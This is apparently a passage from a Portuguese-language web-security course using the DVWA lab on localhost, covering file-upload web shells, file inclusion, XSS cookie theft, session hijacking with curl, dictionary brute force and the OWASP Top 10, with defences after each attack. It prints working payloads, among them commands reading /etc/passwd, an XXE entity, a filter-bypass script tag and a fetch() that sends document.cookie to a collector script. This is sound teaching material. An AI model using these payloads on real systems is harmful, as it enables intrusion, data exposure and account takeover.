http://localhost:8080/hackable/uploads/shell.php
http://localhost:8080/hackable/uploads/shell.php?cmd=ls
 
 Você deve ver a lista de arquivos na pasta de upload: 
 
 Vamos tentar listar arquivos de outra pasta: 
http://localhost:8080/hackable/uploads/shell.php?cmd=ls ../../ 
 
Ótimo, conseguimos listar os arquivos. Conseguimos pegar conteúdos 
também? 
http://localhost:8080/hackable/uploads/shell.php?cmd=cat /etc/passwd 
http://localhost:8080/hackable/uploads/shell.php?cmd=ls%20../../
http://localhost:8080/hackable/uploads/shell.php?cmd=cat%20/etc/passwd
 
 
Sem problemas também. E criar arquivos? 
http://localhost:8080/hackable/uploads/shell.php?cmd=echo "ola" > ola.txt 
http://localhost:8080/hackable/uploads/shell.php?cmd=ls 
 
 Ou seja, você tem controle total do servidor, com as mesmas permissões que 
o PHP tem. Para saber qual usuário estamos usando, você pode acessar: 
http://localhost:8080/hackable/uploads/shell.php?cmd=whoami 
 No nosso exemplo a resposta será "vagrant", mas em alguns servidores mal 
configurados pode acontecer de até ter a permissão de usuário "root". 
Segurança em upload de arquivos 
Existem várias métodos que devem ser usados em conjunto para se proteger 
de um ataque como este. O mais básico e principal é verificar a extensão do arquivo 
- mas atenção! Mesmo assim, deve-se sempre usar listas-brancas (whitelists) para 
http://localhost:8080/hackable/uploads/shell.php?cmd=echo%20%22ola%22%20%3E%20ola.txt
http://localhost:8080/hackable/uploads/shell.php?cmd=ls
http://localhost:8080/hackable/uploads/shell.php?cmd=whoami
 
validar as extensões permitidas, ao invés de tentar se proteger de arquivos 
inseguros com listas-negras (blacklists). O que isso significa? Imagine a seguinte 
situação: 
● Um programa que esteja hospedado em um servidor Apache com o módulo 
PHP instalado e ativo. 
● Sabendo disso o programador decide que deve bloquear todos os arquivos 
.php no upload, utilizando um código parecido com este: 
<?php 
…. 
if ($extensao == 'php') { 
 die('Não permitido!'); 
} else { 
 //upload e tudo mais 
} 
?> 
● Neste caso, estamos usando uma lista-negra, pois estamos dizendo "quais 
extensões de arquivo não queremos" 
● Digamos que um atacante saiba disso, ou use uma ferramenta para procurar 
por essa vulnerabilidade, o que ele pode fazer é uma das seguintes coisas: 
○ Enviar o arquivo com a extensão .PHP, ou .pHP, ou .pHp ou qualquer 
outra combinação de maiúsculas/minúsculas - com isso o sistema não 
vai bloquear o envio e o Apache vai processar o arquivo como PHP da 
mesma forma; 
○ Enviar o arquivo com a extensão .php5 ou .phtml - na maioria das 
instalações do Apache essas extensões são interpretadas como PHP; 
○ Enviar um arquivo do tipo .xml com uma vulnerabilidade do tipo XXE7, 
como o seguinte exemplo: 
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [ 
 <!ENTITY xxeattack SYSTEM "file:///etc/passwd"> 
]> 
<xxx>&xxeattack;</xxx> 
 
7 XML External Entities - essa vulnerabilidade tem sido cada vez mais comum, estando atualmente 
entre as 10 maiores vulnerabilidades segundo a OWASP 
 
○ Enviar arquivos que podem ser danosos para os usuários do site, 
como arquivos .html com redirecionamento ou .exe 
○ Enviar arquivos que podem ser usados para fazer o bypass8 de 
algumas configurações de segurança que só permitem acesso no 
mesmo servidor, sendo usados em ataque XSS9, por exemplo; 
● Ou seja, nossa segurança estaria comprometida. 
Outra opção mais lógica seria usar uma lista branca, por exemplo: 
<?php 
…. 
if ($extensao === 'jpg' || $extensao === 'gif') { 
 //upload e tudo mais 
} else { 
 die('Não permitido!'); 
} 
?> 
 Dessa forma, o upload só seria permitido caso esteja na nossa lista. Note 
também o === que no PHP significa que estamos validando não só o conteúdo de 
uma string quanto o tipo da variável. No PHP há basicamente 3 formas de usar o 
símbolo =: 
1. $variavel = "valor" - define que a variável $variavel receberá tal 
valor; 
2. $variavel == "valor" - neste caso se usa para verificar se uma variável 
é igual a um valor, sem verificar o tipo da variável, em um if/else, por 
exemplo; 
3. $variavel === "valor" - mesmo que o anterior, mas com validação de 
tipo; 
 Note que na segunda forma, a como não validamos o tipo da variável, o PHP 
pode agir de formas estranhas. Por exemplo: 
if ($variavel == true) // retorna true, como esperado 
if ($variavel == 1) // retorna true, como esperado 
if ($variavel == array(0)) // retorna true !? 
 
8 No sentido de contorno, contornar 
9 Cross-Site Scripting 
 
if ($variavel == new stdClass()) // retorna true!? 
 E se verifcarmos com o triplo =: 
if ($variavel === true) // retorna true, como esperado 
if ($variavel === 1) // retorna false, como esperado 
if ($variavel === array(0)) // retorna false, como esperado 
if ($variavel === new stdClass()) // retorna false, como 
esperado 
Ou seja, validamos também o tipo da variável, se não for booleano, retorna 
false. 
Outros métodos que devem ser utilizados também para validar arquivos 
incluem: 
● Verificar o nome do arquivo, além da extensão; 
● Remover todos os caracteres que não são unicode do nome do arquivo, pois 
uma pessoa mal-intencionada pode colocar um caractere nulo (%00), por 
exemplo no nome do arquivo antes da extensão e confundir o sistema; 
● Remover todo tipo de pontuação extra do nome do arquivo, como: ";", ":", ">", 
"<", "/" ,"\", "." (ponto adicional), "*", "%", "$", mantendo só caracteres alfa-
numéricos, por exemplo com esta expressão regular: [a-zA-Z0-
9]{1,200}\.[a-zA-Z0-9]{1,10} (arquivos com / ou \, por exemplo, 
podem ser utilizados para substituir outros arquivos do sistema); 
● Verificar o conteúdo dos arquivos; 
● Limitar o tamanho do arquivo, tanto máximo quanto mínimo; 
● Renomear o arquivo depois do upload (por exemplo, sendo o nome do 
arquivo uma hash + data do envio); 
● Não confiar no content-type do arquivo - ele pode ser alterado e inclusive 
permitir o envio de arquivos Flash/PDF com a extensão .jpg; 
● Não processar os arquivos antes de verificar tudo; 
Estas são algumas medidas de segurança no código, a OWASP tem uma 
lista bem completa no seguinte endereço: 
https://www.owasp.org/index.php/Unrestricted_File_Upload 
 
https://www.owasp.org/index.php/Unrestricted_File_Upload
 
Inclusão de arquivos locais 
 Outra vulnerabilidade bastante comum e geralmente causada por 
ingenuidade de programadores/desenvolvedores/analistas é a inclusão automática 
de arquivos. Isso é um erro bem comum de programadores iniciantes que querem 
simplificar o próprio trabalho colocando o nome de arquivos que serão inseridos 
automaticamente no endereço da página. 
Aplicando à DVWA 
 Acesse o painel da DVWA e clique em File Inclusion: 
 
Clique nos arquivos (file1.php, file2.php, file3.php) e veja que o meio da 
página deve mudar. Verifique também a barra de endereços do navegador: 
file1: http://localhost:8080/vulnerabilities/fi/?page=file1.php 
http://localhost:8080/vulnerabilities/fi/?page=file1.php
 
file2: http://localhost:8080/vulnerabilities/fi/?page=file2.php 
file3: http://localhost:8080/vulnerabilities/fi/?page=file3.php 
 
Note que aparentemente está sendo passado como parâmetro o nome de um 
arquivo. Vamos verificaro código fonte: 
 
 Exatamente, e como ainda estamos no modo "low", não há qualquer tipo de 
segurança sendo aplicada. Vamos tentar mudar manualmente o arquivo na barra de 
endereços, trocando para o seguinte: 
http://localhost:8080/vulnerabilities/fi/?page=../../robots.txt 
http://localhost:8080/vulnerabilities/fi/?page=file2.php
http://localhost:8080/vulnerabilities/fi/?page=file3.php
http://localhost:8080/vulnerabilities/fi/?page=../../robots.txt
 
 
 
Note o valor no começo da página "User-agent: * Disallow: /", é o conteúdo 
do arquivo robots.txt. Vamos tentar pegar o arquivo de senhas do sistema: 
http://localhost:8080/vulnerabilities/fi/?page=/etc/passwd 
http://localhost:8080/vulnerabilities/fi/?page=/etc/passwd
 
 
 
Pronto, aí está o conteúdo do arquivo /etc/passwd, sem complicação. 
 Se quisermos, podemos também causar um loop infinito carregando a própria 
página para dentro dela mesma, recursivamente e derrubar o servidor, causando 
um DoS10: 
http://localhost:8080/vulnerabilities/fi/?page=index.php 
 Note que esta vulnerabilidade pode ser empregada em conjunto com o 
upload de arquivos inseguros. Digamos que o upload de arquivos é feita em uma 
pasta que não é pública pelo Apache (ou outro servidor), ou que existam restrições 
quanto a acessar o arquivo diretamente. O arquivo ainda pode ser acessado e 
processado utilizando essa técnica. 
 
 
10 Ataque de negação de serviço, ou denial-of-service 
http://localhost:8080/vulnerabilities/fi/?page=index.php
 
XSS - Cross-site Script 
O ataque XSS é poderosíssimo e pode ser utilizado para diversas coisas, 
como: 
● Pegar o arquivo de sessão de um ou mais clientes; 
● Redirecionar o usuário para um site malicioso; 
● Adicionar downloads automaticamente para usuários; 
● Fazer propaganda de produtos ilegais (geralmente medicamentos como 
Viagra e Cialis); 
● Criar um keylogger para capturar tudo o que o usuário digita; 
● Capturar fotos do usuário com a câmera do mesmo; 
● Ou qualquer outra coisa que o navegador ou aparelho do usuário permita. 
No caso de pegar um arquivo de sessão, um atacante pode utilizar a sessão 
aberta por outro usuário para acessar um sistema, por exemplo. Isto ocorre 
principalmente quando o sistema permite que a sessão seja trocada sem uma 
validação ou que possa ser facilmente adivinhável. Por padrão, os navegadores só 
permitem execução de scripts (JavaScript, por exemplo) do mesmo website, no 
entanto, um atacante pode forjar um script que copie os dados do usuário e envie 
para outro site, para que ele possa ser usado por outra pessoa. 
Vejamos o caso em PHP11, onde os dados de sessão ficam gravados no 
servidor e para identificar o usuário é gravado um cookie chamado PHPSESSID no 
computador do usuário que é utilizado para identificar o mesmo e saber quais dados 
de sessão devem ser utilizados. Caso um atacante descubra o valor deste cookie e 
o sistema não faça nenhuma validação extra, ele pode criar um cookie 
manualmente no próprio computador e fingir ser o outro usuário, ganhando acesso a 
todas as sessões ativas daquele outro usuário. Isso é particularmente problemático 
porque algumas aplicações permitem que a PHPSESSID possa ser passada 
diretamente pela URL do navegador, ficando nos históricos dos usuários e muitas 
vezes ficando também em caches de websites de busca como o Google, por 
exemplo. 
 
11 Não só em PHP, praticamente todas as linguagens web server-side utilizam o mesmo esquema, 
mas com nomes diferentes para os cookies. 
 
Aplicando à DVWA 
 A ideia será pegar o PHPSESSID de um usuário logado e copiá-lo para outro 
usuário, com esse outro usuário podemos nos passar pelo usuário logado. 
 Primeiro vamos preparar um código que irá fazer a captura dos dados, este 
código será composto de duas partes: 
● O script que irá capturar os dados e será executado no navegador; 
● O código em PHP que rodará em um servidor externo e receberá nossa 
PHPSESSID; 
 O código em PHP, preferencialmente deve rodar em um servidor externo, 
mas como é só um exemplo, vamos rodá-lo no mesmo servidor só como base de 
conceito12. 
 Vamos então acessar o painel da DVWA com o navegador e clicar em: 
http://localhost:8080/vulnerabilities/xss_r/ 
 
12 Por conveniência, já deixei o código no vagrant em /var/www/html/cookie.php 
http://localhost:8080/vulnerabilities/xss_r/
 
 
 Esta página tem um campo bem simples de nome, digite qualquer coisa 
neste campo e verifique o que acontece: 
 
 Repare no entanto na URL do navegador: 
 
 Podemos deduzir que o PHP está pegando o valor da URL, mais 
especificamente da Query String ou dos campos $_GET para construir a string 
"Hello <usuario>". Vamos verificar se o código é suscetível ao ataque XSS, digite no 
campo o seguinte código e clique em submit: 
<script>alert('ola');</script> 
 
 
 
 
Com isso sabemos que o formulário permite a execução de JavaScript. 
Vamos então tentar pegar os cookies do usuário, digite no campo: 
<script>alert(document.cookie);</script> 
 
 
 
 Repare que a URL do navegador deve ter ficado assim: 
http://localhost:8080/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.
cookie%29%3B%3C%2Fscript%3E# 
 Se enviar essa URL para qualquer usuário que esteja logado, ele verá os 
próprios cookies. Vamos tentar o seguinte código no campo: 
JoaoBobo<script>fetch('http://localhost:8080/cookie.php?c="'+d
ocument.cookie+'"');</script> 
Esse script irá fazer o trabalho de copiar o cookie do usuário e enviar para o 
arquivo cookie.php. O script em PHP13 foi preparado para gravar em um arquivo 
chamado cookies.txt tudo o vier via Query String e todos os dados que 
 
13 Dentro do arquivo Vagrantfile, Anexo 1 
http://localhost:8080/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E
http://localhost:8080/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fscript%3E
 
conseguir do servidor (variável $_SERVER), como dados do navegador, número de 
IP etc. 
Visualmente, para o usuário incauto, não irá aparecer nada de incomum além 
da URL do navegador que irá parecer um pouco estranha: 
 
 Mas a partir do momento que esta página for aberta, automaticamente será 
gravado um registro sobre o usuário em outro servidor. Acesse o seguinte endereço 
para visualizar: 
http://localhost:8080/cookies.txt 
 
Agora, a única coisa que o atacante precisa fazer é ofuscar essa URL com 
um encurtador de URLs (ou URL shortnener) e enviar para usuários que ele saiba 
que estão logados. 
Outra opção é fazer a mesma coisa, mas ao invés de utilizar a URL para 
gerar em tempo real o arquivo é gravar no servidor seu script de ataque. No painel 
da DVWA há mais duas opções de XSS, acessando a opção XSS (Stored) podemos 
colocar o mesmo script no campo Name ou Message e ter basicamente a mesma 
funcionalidade, no entanto, o script ficará gravado na lista de mensagens e toda vez 
que um usuário visualizar a lista de mensagens terá os dados vazados. 
http://localhost:8080/cookies.txt
 
Vamos tentar utilizar a PHPSESSID que capturamos para fazer uma espécie 
de emulação utilizando a ferramenta cURL. Esta ferramenta é muito útil para fazer 
requisições a servidores que podem ser automáticas ou manuais. 
Por padrão o cURL já vem instalado na maior parte das distribuições Linux, 
para iOS ele pode ser instalado com o brew ou macports, não é recomendável 
utilizar Windows14 pois em alguns exemplos será necessário utilizar o comando 
grep em conjunto e não há um substituto simples como este. Se o seu sistema 
operacional é Windows, se recomenda utilizar o Linux Shell Bash do Windows 
(quando presente) ou uma outra máquina virtual com um sistema baseado em Unix. 
Verifique se você já tem o cURL com o seguinte comando:curl --version 
Estando com o cURL instalado, podemos fazer uma requisição para a página 
principal da nossa aplicação pela linha de comando15: 
curl "http://localhost:8080/" -v 
 
14 Se mesmo assim você quiser utilizar Windows, você pode instalar você pode baixar o executável 
direto do site https://curl.haxx.se/ no menu Download. Se quiser que o programa seja executável de 
qualquer pasta na linha de comando, é necessário salvar o cURL em alguma pasta fixa e adicionar o 
endereço da pasta no PATH do sistema. O PATH pode ser modificado no “Painel de controle” > 
“Sistema e Segurança” > “Sistema” > “Configuração Avançada do Sistema” > “Variáveis de 
Ambiente” e dentro dessa opção em “Variáveis do sistema”. 
15 A opção -v significa verbose, para mais opções, verifique o manual com "man curl" ou a página de 
ajuda com "curl --help". 
 
 
 
Repare que a aplicação nos mandou de volta para o arquivo login.php: 
Location: login.php 
Vamos tentar usar uma PHPSESSID que pegamos no arquivo 
cookies.txt: 
curl "http://localhost:8080/" -H "Cookie: 
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" 
Troque o pelo PHPSESSID que você pegou no arquivo 
http://localhost:8080/cookies.txt 
Sua página deve ser parecida com isso: 
http://localhost:8080/cookies.txt
 
 
Recebemos o HTML da página interna do painel ou seja, conseguimos nos 
logar como se fôssemos outro usuário. 
Outra opção seria alterar o cookie do próprio browser para o mesmo efeito. 
 
CSRF - Cross Site Request Forgery 
Existe um outro ataque que tem vetores muito parecidos com o XSS, 
chamado CSRF - Cross Site Request Forgery. A principal diferença entre este e o 
XSS é que o CSRF executa ações para o usuários sem que ele queira, como por 
exemplo, alterar a senha, desabilitar a autenticação em duas etapas etc. Da mesma 
forma que o XSS, o CSRF é feito enviando um script malicioso para um cliente 
incauto. 
 
Como se proteger? 
Como na maioria dos ataques, nunca se deve confiar nos dados vindos do 
lado cliente. Sempre deve-se limpar todas as variáveis que os usuários mandam, 
especialmente se elas forem ser exibidas em algum lugar. O ideal é nunca permitir 
que os usuários adicionem HTML a uma página web, portanto, sempre se limpar os 
dados para remover qualquer tag. Mesmo tags aparentemente inócuas como <img> 
ou <svg> podem ser utilizadas para executar scripts maliciosos, pois permitem 
execução em atributos como onload ou onerror. 
Quando for exibir os dados de usuário, sempre deve-se usar funções que 
convertam qualquer caractere não essencial, como letras, números e pontuação 
básica para seus equivalentes no formato HTML encoded. 
Mas atenção, existem várias formas de burlar scripts que codificam ou 
impedem a inserção de tags HTML. Uma técnica comum é colocar uma palavra que 
se sabe que será filtrada dentro de outra. Por exemplo, o atacante pode testar a 
página e tentar descobrir se é feita uma lista branca (whitelist) que só permite 
alguma tag específica ou se é feita uma lista negra (blacklist) que bloqueia alguma 
palavra manualmente. 
Digamos que o sistema utiliza blacklist e bloqueia tags como <script>. O 
atacante pode forjar um script com o seguinte código: 
<sc<script>ript>alert(x)</scr<script>ipt> 
 Quando o sistema apagar a tag <script>, o que vai sobrar é: 
<script>alert(x)</script> 
A maioria das linguagens modernas têm funções próprias para remover ou 
converter tags HTML, geralmente é mais confiável utilizar as mesmas. 
Além disso, quando for exibir algum dado inserido por algum usuário, lembre-
se de colocar o texto entre as tags <noscript></noscript> - e, claro, remover 
qualquer possibilidade do usuário inserir a tag </noscript> dentro do texto. 
Outro ponto importante é a utilização de tokens no lado do servidor para 
garantir consistência nas requisições, além de validar se a ID de sessão realmente 
pertence a um usuário (checando com User-Agent e o IP, por exemplo). 
Caso realmente precise que o usuário envie tags em HTML, considere a 
utilização de linguagens como MarkDown (http://commonmark.org/) ou outra 
http://commonmark.org/
 
linguagem de marcação ou libere apenas e somente o que for mais necessário 
usando uma lista branca e excluindo tudo o que não for essencial. 
 
Ataque de Força Bruta 
Ataques de força bruta, ou brute force, geralmente acontecem quando um 
formulário de login, por exemplo, permite irrestritas (ou excepcionalmente muitas) 
requisições. O atacante, geralmente, tenta enviar uma quantidade enorme de 
requisições testando uma série de palavras ou de combinação de palavras para 
tentar adivinhar um valor, como usuário e senha, ou um token, ou um serial, ou 
qualquer outro tipo de dado que pode ser adivinhado. 
Aplicando à DVWA 
 O ataque que vamos realizar é um ataque de força bruta com um dicionário 
simples (sem mutação), que funciona quando se tem uma lista pré-programada de 
palavras para se testar contra um formulário. Existem outros tipos, como o ataque 
com dicionário com mutação (quando o dicionário pode ter alterações durante o 
teste, por exemplo, trocando letras maiúsculas/minúsculas, trocando letras por 
números, ou até trocando sufixos/prefixos, por exemplo) além do ataque de força 
bruta tradicional, sem dicionário, onde vai-se gerando os campos automaticamente, 
muitas vezes caracter-a-caracter (ou múltiplos caracteres por vez). 
Existem várias ferramentas que fazem ataques automaticamente, mas a ideia 
dessa disciplina é ensinar os conceitos por trás de tais ferramentas, por isso, vamos 
fazer manualmente. Vamos precisar de algumas coisas: 
● A ferramenta cURL; 
● Uma wordlist (lista de palavras ou de usuários/senhas comuns); 
● Conhecimento em lógica de programação (não obrigatório); 
Estando tudo certo, vamos primeiro verificar qual URL vamos utilizar. No 
painel da DVWA acesse clique no menu em Brute Force: 
 
 
 
Vamos fazer um teste, digitar qualquer coisa no campo de usuário e qualquer 
coisa no campo de senha e enviar o formulário: 
 
Se você não digitou um usuário/senha válido, deve receber uma mensagem 
como essa: 
 
 
 Mas o mais interessante nesse caso é a URL da página: 
 
 Assim sabemos que a URL para a qual devemos fazer a requisição para esta 
URL. Vamos tentar com o cURL: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" 
 
 
Bom, aparentemente não aconteceu nada, vamos tentar o modo verbose, 
com um -v: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -v 
 
 
 Na verdade recebemos um redirect para o login.php, pois não colocamos 
o login e a senha… então não vamos conseguir acessar diretamente o arquivo 
dessa forma. Vamos procurar por uma outra alternativa. 
 Como vimos no ataque de XSS podemos utilizar a PHPSESSID para nos 
passar por outro usuário. Precisamos neste caso pegar a PHPSESSID. Isso pode 
ser abrindo no navegador que esteja logado na DVWA na barra de 
desenvolvedores, em Aplicação ou Application ou App. Outra opção é pegar em 
uma requisição na aba Rede ou Network e nos detalhes da mesma pegar o 
PHPSESSID. Ou, no console digite: console.log(document.cookie);. 
 Com o PHPSESSID em mãos, vamos tentar a requisição para a URL 
novamente: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie: 
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" 
 
 
Olhe com cuidado o código e note que a mensagem "Username and/or 
password incorrect." que aparece na página estará mais abaixo: 
 
 
 Podemos usar a ferramenta grep para restringir só a essa frase o nosso 
retorno: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie: 
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" | grep 
"Username and/or password incorrect." 
 
 
Já ficoumais fácil de visualizar, mas ainda assim tem muito dado, vamos 
restringir ainda mais com a opção -s: 
$ curl 
"http://localhost:8080/vulnerabilities/brute/?username=pog&pas
sword=xgohorse&Login=Login" -H "Cookie: 
PHPSESSID=np7jofe14v2mrr0pprujphku45; security=low" -s | grep 
"Username and/or password incorrect." 
 
 Agora sim, temos uma resposta de uma só linha. O que vamos fazer é 
preparar um pequeno script para verificar se esse texto aparece quando fizermos 
várias requisições com usuários/senhas diferentes. Se não aparecer é porque nosso 
login foi feito com sucesso ou algum erro estranho aconteceu (o que também é 
 
interessante). Este script pode ser feito em qualquer linguagem, mas por 
simplicidade vamos utilizar o próprio bash/shell para isso. 
 Nosso script vai ser somente uma prova de conceito16, super simples e 
básico pois estamos utilizando a versão low da DVWA, para ataques mais 
complexos, ou em aplicações mais protegidas, o ideal é utilizar uma ferramenta 
própria para ataques de brute force. Nosso script vai rodar um arquivo de dicionário 
(será um ataque de brute force com dicionário) e testar linha a linha com o 
usuário/senha. O dicionário pode ser baixado da seguinte URL: 
https://raw.githubusercontent.com/delefrati/Hob0Rules/master/wordlists/shortKrak.txt 
 O script está nos anexos como Anexo 2. Copie o conteúdo e coloque em um 
novo arquivo e salve com o nome buteforce.sh. Salve o dicionário na mesma 
pasta. Aplique o comando a seguir para permitir a execução do script: 
$ chmod +x bruteforce.sh 
 Após, rode o script com o seguinte comando: 
$ time ./bruteforce.sh shortKrak.txt 
 A ferramenta time vai ser usada para verificar quanto tempo demoraria para 
quebrar essa senha usando esse programa (que está longe de ser otimizado): 
 
Preencha o usuário e a PHPSESSID quando forem pedidos. A execução 
deve durar alguns segundos e esse é o resultado: 
 
16 POC ou proof-of-concept em inglês 
https://raw.githubusercontent.com/delefrati/Hob0Rules/master/wordlists/shortKrak.txt
 
 
 Note que mesmo que o sistema esteja desprotegido, algumas coisas 
influenciam em um ataque como esse: 
● A qualidade do dicionário - quanto mais palavras e mais diversas, melhor; 
● Os recursos da máquina - um computador mais potente conseguirá mais 
requisições por segundo; 
● A conexão com o sistema - mais rápido será o ataque quanto mais rápido 
seja a conexão com o site; 
● A otimização do código - o nosso POC é simples e praticamente sem 
otimização, um bom sistema de força bruta pode fazer requisições em 
paralelo, criar mutações nos textos e verificar diferentes tipos de retorno de 
uma aplicação, entre outras coisas; 
Como se proteger? 
Um sistema de captcha, por exemplo, pode ser um pouco efetivo 
temporariamente para evitar muitas tentativas por segundo, mas não deve ser 
 
utilizado como única forma de defesa. Idealmente um sistema mais seguro deve ter 
alguma outra forma de verificação de segurança, como autenticação em duas 
etapas (2fa), confirmando a identidade do usuário de maneira independente, através 
de um aplicativo separado ou enviando um e-mail ou SMS com um código. 
Entre outras sugestões para melhorar a segurança: 
● Os sistemas/aplicações devem testar as senhas dos usuários por senhas 
fracas17; 
● Deve ser facilitado ao usuário uma forma de trocar a senha em caso de 
comprometimento; 
● Monitoramento e detecção; 
● Atenção! A criação de senhas muito complexas utilizando números, letras e 
caracteres especiais já foi considerada uma boa prática de segurança, mas 
nos últimos anos vêm sendo considerada uma má prática pois incentiva a 
criação de senhas difíceis de serem lembradas, mas com baixa entropia, que 
pode permitir a quebra das mesmas mais facilmente que, por exemplo, uma 
senha longa, mas com palavras desconexas. Além disso, para a maioria dos 
usuários18, estimula a reutilização das senhas. O quadrinista online Randall 
Munroe do site XKCD ilustra esse paradigma brilhantemente no seguinte 
quadro: 
 
17 Diferente de quando falamos sobre isso em "falha de criptografia", quando o assunto era a própria 
função criptográfica que era fraca. 
18 Considerando usuários que memorizam as senhas, no entanto, o ideal é ter um gerenciador de 
senhas e sim, criar senhas com o máximo possível de caracteres diferentes e randômicos. 
 
 
https://xkcd.com/936/ 
 
Tradução: 
Quadro 1: 
Palavra base incomum (palavra real) - Order desconhecida 
Letra maíuscula? - Substituições comuns - Pontuação - Numeral 
(você pode adicionar mais alguns bits ao levar em conta que este é um dos poucos 
formatos mais comuns) 
 
Quadro 2: 
~28 bits de entropia 
220 = 3 dias para acertar com 1.000 tentativas/segundo 
(Ataque plausível em um servidor remoto com um webserver. Sim, crackear uma 
hash roubada é mais rápido que isso, mas não é o que a maioria dos usuários 
deveria se preocupar) 
https://xkcd.com/936/
 
Dificuldade para adivinhar: Fácil 
 
Quadro 3: 
(personagem falando) Era trombone? Não, troubador. E um dos Os era um zero? E 
tinha um símbolo... 
Dificuldade para lembrar: Difícil 
 
Quadro 4: 
correto cavalo bateria grampo 
Quatro palavras comuns randômicas 
 
Quadro 5: ~44 bits de entropia 
244 = 550 anos para acertar com 1.000 tentativas/seg 
Dificuldade para adivinhar: Difícil 
 
Quadro 6: 
(cavalo falando) É um grampo na bateria. 
(outra pessoa respondendo) Correto! 
Dificuldade para lembrar: você já memorizou 
 
Quadro final: 
Por 20 anos nos esforçamos e conseguimos com sucesso treinar todo mundo a usar 
senhas que são difíceis de memorizar para os humanos, mas fáceis para os 
computadores adivinharem. 
 
 
 
OWASP 
A Open Web Application Security Project (OWASP) é uma organização sem 
fins lucrativos focada em melhorar a segurança de softwares. Qualquer pessoa 
pode participar da comunidade e todos os materiais da comunidade têm licença 
aberta e são gratuitos. Entre estes materiais é lançada uma lista com as top 10 
maiores vulnerabilidades votadas pela comunidade 
(https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project). A última 
lista lançada foi em 2017, mas a versão mais recente em português foi lançada em 
2013, disponível em: 
https://storage.googleapis.com/google-code-archive-
downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-
_2013_Brazilian_Portuguese.pdf 
 A lista top 10 da OWASP considera as vulnerabilidades em uma escala de 1 
a 3, seguindo os seguintes critérios: 
 
É recomendável e importante que se pesquise e se leia o documento com as 
top 10 vulnerabilidades da OWASP. No entanto, o mesmo pode ser seguido como 
um guia básico, o aluno não deve basear todo o seu conhecimento nestas 10 
vulnerabilidades, mas usar o documento como uma plataforma para estudos mais 
aprofundados. 
No documento de 2017 os 10 maiores problemas são os seguintes: 
1. Injection (injeção) 
Um usuário mal-intencionado envia um “vetor de ataque”, ou seja, um pedaço 
de código, através dos inputs do sistema, conseguindo modificar o funcionamento 
deste. A injeção pode se aproveitar de brechas de segurança na execução das 
consultas do banco de dados (PL/SQL) ou outro tipo de inserção de código, como 
comandos shell, por exemplo. 
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-_2013_Brazilian_Portuguese.pdf
https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-_2013_Brazilian_Portuguese.pdf
https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/owasptop10/OWASP_Top_10_-_2013_Brazilian_Portuguese.pdf
 
 
Vetores: 3/3 Prevalência: 2/3 Detectabilidade: 3/3 Impacto técnico: 3/3 
2. Broken Authentication (autenticação "quebrada") 
Basicamente,é quando sistema/aplicação tem um problema de autenticação. 
Isso pode acontecer por vários motivos, quando uma aplicação: 
● Permite ataques automáticos de força-bruta19 
● Permite senhas fáceis como sequências de números, "senha", "admin/admin" 
● Usa processos fracos ou ineficientes em opções de "esqueci minha senha" 
● Salva senhas em texto simples ou com encriptação fraca 
● Expõe a Session ID na URL 
● Não atualiza corretamente a Session ID após um login efetuado com sucesso 
● Não tem ou tem validação de multi-fator20 fraca 
● Não invalida ou destrói a Session ID no logout, especialmente SSO21 
 
Vetores: 3/3 Prevalência: 2/3 Detectabilidade: 2/3 Impacto técnico: 3/3 
3. Sensitive Data Exposure (exposição de dados sensíveis) 
Acontece quando um sistema não é criptografado, a criptografia é fraca ou 
falha ou quando um atacante rouba as chaves privadas de um sistema e usa um 
ataque man-in-the-middle para pegar dados criptografados. Dados coletados 
frequentemente podem ser senhas, dados pessoais, números de cartões de crédito, 
informações de saúde ou outros dados que devem ser protegidos até por leis e 
regulamentos como o GDPR (Regulamento Geral sobre a Proteção de Dados) da 
União Europeia. 
 
Vetores: 2/3 Prevalência: 3/3 Detectabilidade: 2/3 Impacto técnico: 3/3 
 
19 Ataques em que são usados dicionários com lista pré-programadas de palavras, podem ser 
geradas automaticamente, copiadas de listas prontas da Internet ou de credenciais roubadas da 
aplicação ou de outras aplicações 
20 Validação de multi-fator, como por exemplo validação de login em duas etapas, verificando em 
aplicativos, por e-mail ou por SMS 
21 Sing-on único ou single sign-on se refere a um método de acesso geralmente com um token que 
pode ser usado para se acessar a aplicação apenas uma vez. Pode ser utilizado em sistemas de 
suporte, por exemplo, para acessar como outro usuário. 
 
 
4. XML External Entities (XXE) 
 Vários processadores de XML antigos permitem a especificação de uma 
entidade externa que pode permitir a execução remota de código inseguro que pode 
ser usado para todo tipo de fim malicioso. 
Exemplo: 
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE test [ 
 <!ENTITY xxeattack SYSTEM "file:///etc/passwd"> 
]> 
<xxx>&xxeattack;</xxx> 
 
Vetores: 2/3 Prevalência: 2/3 Detectabilidade: 3/3 Impacto técnico: 3/3 
 
5. Broken Access Control (controle de acesso "quebrado") 
 Quando um sistema não é bem testado algumas áreas ou métodos que 
deveriam necessitar de uma permissão maior podem ficar abertas a usuários com 
um nível de acesso menor. Algumas vezes, mesmo que o sistema esteja 
aparentemente protegido, por causa de uma falha dessas explorada um usuário mal 
intencionado pode escalar permissões no programa/aplicação dando permissões 
extras a si mesmo ou a outro(s) usuário(s). 
 
Vetores: 2/3 Prevalência: 2/3 Detectabilidade: 2/3 Impacto técnico: 3/3 
 
6. Security Misconfiguration (má-configurações de segurança) 
